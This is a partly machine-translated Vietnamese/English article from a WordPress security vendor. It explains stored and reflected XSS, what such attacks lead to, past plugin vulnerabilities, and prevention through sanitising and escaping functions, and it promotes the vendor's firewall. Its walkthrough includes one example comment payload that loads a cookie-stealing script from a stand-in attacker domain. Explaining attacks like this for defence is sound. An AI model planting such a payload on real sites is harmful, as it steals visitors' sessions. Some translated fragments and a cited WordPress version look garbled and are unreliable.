Computer >> Máy Tính >  >> Kết nối mạng >> An ninh mạng

Tấn công XSS trong WordPress là gì? Làm thế nào để ngăn chặn nó?

Cross-site scripting, còn được gọi ngắn gọn là XSS, là một lỗ hổng bảo mật được tìm thấy trong các ứng dụng web. Khai thác WordPress XSS cho phép những kẻ tấn công đưa nội dung độc hại vào dưới vỏ bọc của một thực thể đáng tin cậy. Hơn nữa, lỗ hổng XSS cũng ảnh hưởng đến tương tác giữa người dùng và trang web. Nó cho phép những kẻ tấn công đóng giả là người dùng hợp pháp và tải lên nội dung độc hại, đánh cắp thông tin và thông tin đăng nhập của người dùng, làm xấu trang web của bạn và làm hoen ố thương hiệu của bạn. trong WordPress v5.11 trở xuống.

Các triệu chứng của cuộc tấn công WordPress XSS

Các lỗ hổng XSS là một trong những lỗ hổng phổ biến nhất được quan sát thấy, nhưng chúng lại bị bỏ qua nhiều nhất. XSS là một lỗ hổng mạng cho phép người dùng (hoặc tin tặc đóng giả là người dùng) đưa mã độc vào một trang cho phép nhập tùy ý. Khai thác XSS được phân loại thành được lưu trữ và phản ánh.
  1. Tập lệnh trên nhiều trang web được lưu trữ có nghĩa là tin tặc đã đưa một tập lệnh độc hại vào một trang dễ bị tấn công, tập lệnh này được chạy mỗi khi nạn nhân không nghi ngờ truy cập trang bị nhiễm.
  2. Tập lệnh trên nhiều trang web được phản ánh là khi kẻ tấn công đưa mã độc hại vào bên trong một yêu cầu HTTP duy nhất và tải trọng được đưa vào được đưa vào phản hồi mà không có biện pháp bảo mật nào được thực hiện để ngăn chặn việc thực thi của nó. Điều khiến XSS được phản ánh trở nên khác biệt là trọng tải được đưa vào không được lưu trữ ở bất kỳ đâu trên ứng dụng web.
Đây là cách cuộc tấn công XSS được thực hiện:
  1. Hacker (H) tạo một tài khoản trên trang web của bạn.
  2. H nhận thấy rằng trang web của bạn có chứa lỗ hổng XSS được lưu trữ. Nếu ai đó đăng nhận xét có chứa các thẻ HTML trong đó, các thẻ sẽ được hiển thị như nó vốn có và mọi thẻ script sẽ chạy.
  3. Trong phần bình luận của một bài viết, H chèn văn bản với thẻ script như:I am in love with your website <script src="https://mallorysevilsite.com/authstealer.js">
  4. Khi người dùng (U) tải trang có nhận xét, thẻ script sẽ chạy và đánh cắp cookie ủy quyền của U
  5. Cookie bị đánh cắp được gửi đến máy chủ bí mật của H, cho phép anh ta mạo danh người dùng không ngờ là U.
Tấn công XSS trong WordPress là gì? Làm thế nào để ngăn chặn nó?

Hậu quả của cuộc tấn công WordPress XSS

Khai thác XSS có thể khiến bạn bị khóa khỏi trang web của mình. Nó cũng có thể được sử dụng để mạo danh bạn và làm hoen ố hình ảnh thương hiệu của bạn. Có một danh sách vô tận về những gì tin tặc có thể thực hiện bằng cách khai thác lỗ hổng XSS. Dưới đây là một vài trong số họ.

Cookie bị đánh cắp

Đánh cắp cookie là một cách khai thác phổ biến của lỗ hổng XSS. Cookie là các tệp nhỏ chứa dữ liệu cụ thể cho người dùng và trang web. Tin tặc có thể sử dụng cookie bị đánh cắp để mạo danh là người dùng hợp pháp và sử dụng quyền truy cập cho mục đích xấu.

Mật khẩu được thỏa hiệp

Trình quản lý mật khẩu giúp người dùng thuận tiện trong việc quản lý tài khoản của các trang web khác nhau. Trình quản lý mật khẩu tự động điền mật khẩu cho người dùng. Tin tặc có thể sử dụng lỗ hổng để tạo mật khẩu nhập. Khi trình quản lý mật khẩu tự động điền mật khẩu, tin tặc sẽ đọc mật khẩu và gửi mật khẩu đó đến miền của riêng mình. Giờ đây, tin tặc có thể đóng giả là một người dùng hợp pháp và có quyền truy cập vào thông tin trên trang web của bạn.

Quét cổng

XSS cũng có thể được khai thác để chạy quét cổng vào mạng cục bộ của bất kỳ ai truy cập trang web dễ bị tấn công. Nếu giành được quyền truy cập vào mạng, kẻ tấn công có thể xâm nhập vào các thiết bị khác trên mạng. Để thực hiện các cuộc tấn công như vậy, kẻ tấn công tiêm mã quét mạng nội bộ và báo cáo cho kẻ tấn công.

Giả mạo yêu cầu trên nhiều trang web

Giả mạo yêu cầu chéo trang web (CSRF) cung cấp cho những kẻ tấn công khả năng buộc người dùng cuối thực hiện các tác vụ không mong muốn. Tùy thuộc vào loại trang web mà kẻ tấn công có thể yêu cầu kết nối, gửi tin nhắn, thay đổi thông tin đăng nhập, chuyển tiền điện tử hoặc cam kết một cửa sau vào kho lưu trữ mã nguồn.

Keylogger

JavaScript có thể được sử dụng để thực hiện chụp bàn phím. JavaScript cung cấp cho người viết mã khả năng ghi lại các tổ hợp phím do người dùng thực hiện trên một trang dễ bị tấn công. Một số trang web thương mại đã cung cấp một số mã có thể được sử dụng để ghi lại chuyển động của khách truy cập dưới dạng nhấp chuột, cử chỉ di động hoặc đầu vào. Những điều này có thể chứng tỏ là thảm họa trong tay của những sinh vật ác độc.

Ví dụ về Tấn công XSS trong WordPress

XSS là lỗ hổng phổ biến nhất cung cấp khả năng xâm nhập cửa hậu của các tác nhân độc hại vào hàng nghìn trang web mỗi năm. Đây là một vài ví dụ gần đây về khai thác WordPress XSS.

Khai thác plugin Slimstat (tháng 5 năm 2019)

Slimstat là một plug-in phân tích trang web phổ biến gần đây đã bị phát hiện dễ bị tấn công bởi lỗ hổng XSS được lưu trữ. Slimstat được sử dụng để theo dõi phân tích trang web trong thời gian thực, nó giám sát và báo cáo thống kê về nhật ký truy cập, khách hàng cũ và người dùng đã đăng ký, sự kiện JavaScript, v.v. Hãy tưởng tượng lượng dữ liệu trang web mà hacker có thể truy cập bằng cách khai thác lỗ hổng. Lỗ hổng bảo mật đã xuất hiện trong các phiên bản 4.8 trở xuống. It allowed any unauthenticated visitor to inject arbitrary JavaScript code on the plugin access log functionality. Websites that were using the latest version of WordPress and were under the protection of Astra WAF were safe from the attackers.Read more here:Popular plug-in Slimstat, vulnerable to XSS

Facebook Messenger Live Chat

A persistent XSS vulnerability in FB messenger live chat by Zotabox was uncovered. Through WordPress, AJAX functionality makes it simple to send and receive data to and from the script without needing to reload the page. The function update_zb_fbc_code is accessible to anyone.The function wp_ajax_update_zb_fbc_code is prescribed for authorized users only &wp_ajax_nopriv_update_zb_fbc_code is for non-privileged users. Both use the same function “update_zb_fbc_code “. This allows any user (logged in or not) to modify the plugin settings. Malicious actors could use this vulnerability to gain higher priority access to confidential information. Read more here:Critical XSS vulnerability in Facebook Messenger Live Chat

Prevention of XSS Attack in WordPress

Taking security for granted will cost you very dearly in today’s cyber-lithic age. A strong sanitizing and validating system can protect your website from the exploit of the kinds of XSS and CSRF etc. Read on to find more about it.

Update WordPress files

The fastest and easiest way to solve the vulnerability issues related to WP v5.11 and below is to update WordPress to the latest version.

Validate input

Examine and validate all input data before sending it to the server. Accept input only from validated, trusted users. For example:Follow the following function to validate email-id inputted by the user.
  1. Filter_var PHP Function
  2. Filter_var($_GET[‘email’], FILTER_VALIDATE_EMAIL)
  3. is_email

Sanitize Data

Sanitizing data input by the user is highly recommended on sites that allow HTML markup. You can make sure that the data does no harm to either your users or your database by cleaning the data of potentially harmful markup. WordPress has great features to filter out unreliable data entries. Here is a list of WP commands you can use to sanitize your data.
  • sanitize_email
  • sanitize_file_name
  • sanitize_text_field
  • esc_url_raw
  • sanitize_option
  • sanitize_key
  • sanitize_mime_type
  • wp_kses
  • Sanitize_meta

Escape data

Escaping data means ensuring data security by censoring the data entered. It ensures that the key characters in the data are not misinterpreted in a malicious manner. The five basic escaping functions that WordPress provides are:
  • esc_html
  • esc_url
  • esc_js
  • esc_attr
  • esc_textarea

Encode data on output

Encode all HTTP response that outputs the data entered by the user. This would prevent it from being interpreted as active content. Encoding is merely converting every character to its HTML entity name. You can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in an intended manner.

Use a web application firewall

Having a security guard on your website always helps. WAF or Web Application Firewalls provide security against potential vulnerabilities. Astra WAF filters malicious traffic and provides intelligent protection to your website. It blocks XSS, SQLi, CSRF, bad bots, OWASP top 10 &100+ other cyber attacks. Our intelligent firewall detects visitor patterns on your website &automatically blocks hackers with malicious intent.

Tấn công XSS trong WordPress là gì? Làm thế nào để ngăn chặn nó?

Regular malware scanning

Regular malware scanning lets you warned well in before. Astra WordPress Security Suite offers complete protection with its on-demand Malware Scanner which flags malicious files on just a click. Plus our intelligent malware scanner keeps on evolving with each scan. Click here to get an Astra demo now.